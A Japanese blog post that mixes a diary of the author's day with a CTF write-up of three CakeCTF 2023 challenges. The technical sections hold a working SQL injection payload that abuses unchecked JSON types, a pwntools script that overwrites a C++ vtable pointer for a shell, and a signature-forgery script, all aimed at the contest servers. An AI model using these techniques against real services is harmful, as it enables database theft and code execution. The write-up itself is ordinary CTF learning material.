ゲンガーぬいと挑んだCakeCTF 2023【一応writeup】
はじめに
CakeCTF 2023 にソロチーム ilohas で参加しました。ですが、今回は学園祭があって warmup の 3 問しか解けていません! というわけで、分量が全然足りないので開催日 11 月 11 日のログを丸々 writeup とします。
起床
学園祭が 10 時、移動に 40 分なので、早起きしようと思ったら失敗! 覚醒に時間がかかるタイプなので、9 時だとおそらく間に合わないでしょう。
というわけで諦めて 11 時まで二度寝しました。
昼ごはん
流石にそろそろ出発しないとマズイということで、学校方面のすき家を目指しました。すき家の写真はなかったので、代わりに先日高知に初出店した松屋の写真を載せておきます。松屋で大行列という珍百景が見られます。
学園祭
権利と身バレ対策で詳細は伏せますが、夜まで適当にブラブラしてました。古本市ではよくわからない戦利品を獲得しました。クメール美術すげえ。
ついでに研究室に行ったら、所有者行方不明のゲンガーが仲間になりました!
晩ごはん
帰宅すると夜だったので、雑に晩ごはんを作って食べました。材料が無いので、カピカピのねぎを載せた天津飯です。卵便利。
ようやく CakeCTF 参戦
ふと予定表を見たら、CakeCTF が入ってました。急いで Register して参戦です。お供はやはりゲンガーです。計算スペースを占領していますが、ゲンガーが代わりに計算してくれます。
Welcome
Welcome 問題は Discord にあるフラグを入力するというものでした。ケーキ食べたいな。買ってこようかと悩みますが、夜中に食べていいものではないので断念します。
Country DB [Web]
Solve 数がやたら多い Web の warmup に挑みます。サービスを見てみたところ、2 文字の国名コードを入力すると国名を表示してくれるようです。
ソースコードが配布されているので、一つずつ読んでいきます。init_db.py
を見ると、
- データベースは SQLite3
- フラグはテーブル flag に保存されている
ということがわかります。
import sqlite3
import os
FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
code TEXT NOT NULL,
name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))
[snip...]
次に app.py
を見ると、如何にも SQLi をしてくれと言っている関数があります。
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
ですが、code
は 2 文字以内でかつ '
を含んではいけないという条件がありました。
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
ここで Web が苦手な僕は「なら SQLi じゃないのか?」と思いました。ただ、ゲンガーを見てみるとやっぱり SQLi なんじゃないかって気がしてきました。
よくよく app.py
を見直してみると、JSON の中身の type が検証されていないことに気が付きました。なら、多重構造にして送ってやろうと。というわけで色々とローカルで試したところ、
{"code":{"') UNION SELECT flag from flag; --": "a", "B": "b"}}
にすると、次のようなクエリになってフラグが出力されることがわかりました。
SELECT name FROM country WHERE code=UPPER('{"') UNION SELECT flag from flag; --": 'a', 'B': 'b'}')
フラグ GET だぜ!
vtable4b [Pwn]
接続してみると、C++の exploit みたいです。
$ nc vtable4b.2023.cakectf.com 9000
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:
class Cowsay {
public:
Cowsay(char *message) : message_(message) {}
char*& message() { return message_; }
virtual void dialogue();
private:
char *message_;
};
An instance of this class is allocated in the heap:
Cowsay *cowsay = new Cowsay(new char[0x18]());
You can
1. Call `dialogue` method:
cowsay->dialogue();
2. Set `message`:
std::cin >> cowsay->message();
Last but not least, here is the address of `win` function which you should call to get the flag:
<win> = 0x562e91c9561a
1. Use cowsay
2. Change message
3. Display heap
>
vtable が何かよく知りませんが、とりあえず heap を表示してみます。
> 3
[ address ] [ heap data ]
+------------------+
0x562e9240bea0 | 0000000000000000 |
+------------------+
0x562e9240bea8 | 0000000000000021 |
+------------------+
0x562e9240beb0 | 0000000000000000 | <-- message (= '')
+------------------+
0x562e9240beb8 | 0000000000000000 |
+------------------+
0x562e9240bec0 | 0000000000000000 |
+------------------+
0x562e9240bec8 | 0000000000000021 |
+------------------+
0x562e9240bed0 | 0000562e91c98ce8 | ---------------> vtable for Cowsay
+------------------+ +------------------+
0x562e9240bed8 | 0000562e9240beb0 | 0x562e91c98ce8 | 0000562e91c956e2 |
+------------------+ +------------------+
0x562e9240bee0 | 0000000000000000 | --> Cowsay::dialogue
+------------------+
0x562e9240bee8 | 000000000000f121 |
+------------------+
message に BOF の脆弱性があったので、この表示を頼りに win
を呼び出してみようと思いました。見たところ、vtable for Cowsay のポインタを win
のアドレスにしたらよさそうです。
from pwn import *
s = remote("vtable4b.2023.cakectf.com", 9000)
s.recvuntil(b"<win> =")
addr_win = int(s.recvline().strip(), 16)
offset = 0x20
s.sendlineafter(b"> ", b"3")
data = s.recvuntil(b"f121")
addrs = []
for d in data.decode().split():
if d[:2] == "0x":
addrs.append(d)
vtable_addr = int(addrs[7], 16)
s.sendlineafter(b"> ", b"2")
payload = b"A"*offset
payload += p64(vtable_addr)
payload += p64(addr_win)
s.sendlineafter(b"Message: ", payload)
s.interactive()
その状態で heap を表示するとこのようになり上手くいってそうです。
[ address ] [ heap data ]
+------------------+
0x55a79c901ea0 | 0000000000000000 |
+------------------+
0x55a79c901ea8 | 0000000000000021 |
+------------------+
0x55a79c901eb0 | 4141414141414141 |
+------------------+
0x55a79c901eb8 | 4141414141414141 |
+------------------+
0x55a79c901ec0 | 4141414141414141 |
+------------------+
0x55a79c901ec8 | 4141414141414141 |
+------------------+
0x55a79c901ed0 | 000055a79c901ed8 | ---------------> vtable for Cowsay (corrupted)
+------------------+ +------------------+
0x55a79c901ed8 | 000055a79c24261a | 0x55a79c901ed8 | 000055a79c24261a |
+------------------+ +------------------+
0x55a79c901ee0 | 0000000000000000 | --> <win> function
+------------------+
0x55a79c901ee8 | 000000000000f121 |
+------------------+
後は Use してシェル GET です。
1. Use cowsay
2. Change message
3. Display heap
> $ 1
[+] You're trying to use vtable at 0x55a79c901ed8
[+] Congratulations! Executing shell...
[snip...]
$ cat /flag-806cb9c9719379667ca5616d9c8210f1.txt
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
完全なる接待 Pwn プレイですが、我が家のミニブースター達も喜んでいそうです。
simple signature [Crypto]
問題
鍵作成
-
: 大きい乱数x, y, w v = wy \bmod{p-1} u = (wx - 1)v^{-1} \bmod{p-1} \text{skey} = (x,y,u), \text{vkey} = (w, v) -
は秘密、\text{skey} は公開\text{vkey}
署名
-
: 平文のハッシュ値(sha512)m \text{skey} = (x,y,u) -
: 大きい乱数r s = g^{xm + ry} \bmod{p} t = g^{um + r} \bmod{p} \text{sig} = (s,t)
検証
-
: 平文のハッシュ値(sha512)m \text{sig} = (s,t) \text{vkey} = (w, v) -
かどうかg^m \equiv s^w t^{-v} \pmod{p}
サーバーの機能
-
magic_word
以外の署名 - 検証 →
magic_word
で OK だったらフラグを出力
解法
まず、
あとは
magic_word
のハッシュ値とします。このとき、検証を突破するために満たすべき式は次の通りです。
ですが、この式から直接求めるのは大変そうなので、別の関係式を探すことにしました。
混乱を避けるために
次に、
さきほどの
一旦整理すると、以下の条件 2 つを満たす
と思いましたが、実はこれらの式は同値です(タブンネ)。冷静になって考えてみると、法は
というわけで、結局は次の不定式を解くだけです。悲しいな、ああ悲しいな、波動拳。
from pwn import *
from hashlib import sha512
def h(m):
return int(sha512(m.encode()).hexdigest(), 16)
def verify(m, sig, key):
w, v = key
s, t = sig
return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p
conn = remote("crypto.2023.cakectf.com", 10444)
p = int(conn.recvline().split(b"=")[-1])
g = int(conn.recvline().split(b"=")[-1])
vkey = eval(conn.recvline().split(b"=")[-1])
w, v = vkey
y = pow(w, -1, p-1) * v % (p-1)
A = pow(w, -1, p-1)
magic_word = "cake_does_not_eat_cat"
m = h(magic_word)
t = 2
s = pow(g, A*m, p) * pow(t, y, p) % p
assert verify(h(magic_word), (s, t), vkey)
conn.sendlineafter(b": ", b"V")
conn.sendlineafter(b": ", magic_word.encode())
conn.sendlineafter(b": ", str(s).encode())
conn.sendlineafter(b": ", str(t).encode())
print(conn.recvline().decode())
print(conn.recvline().decode())
猫を食べないで(T_T)
$ python3 solve.py
[+] Opening connection to crypto.2023.cakectf.com on port 10444: Done
verified
flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}
[*] Closed connection to crypto.2023.cakectf.com port 10444
おわりに
変な時間から参加したので、残念ながらここで終わりです。まともな CTF に参加するのは本当に久々だったので、すごく楽しかったです。勘が明らかに鈍っているのでリハビリが必要そうです。
今回はゲンガーと初参戦しましたが、イケナイ薬物をやっているのでは?と思うぐらいには頭が回転しました。今後の CTF にはぬいが必須になりそうです。ぬい最高!
ケーキはイチゴのショートケーキ派です。チーズケーキも良いかもしれません。
Discussion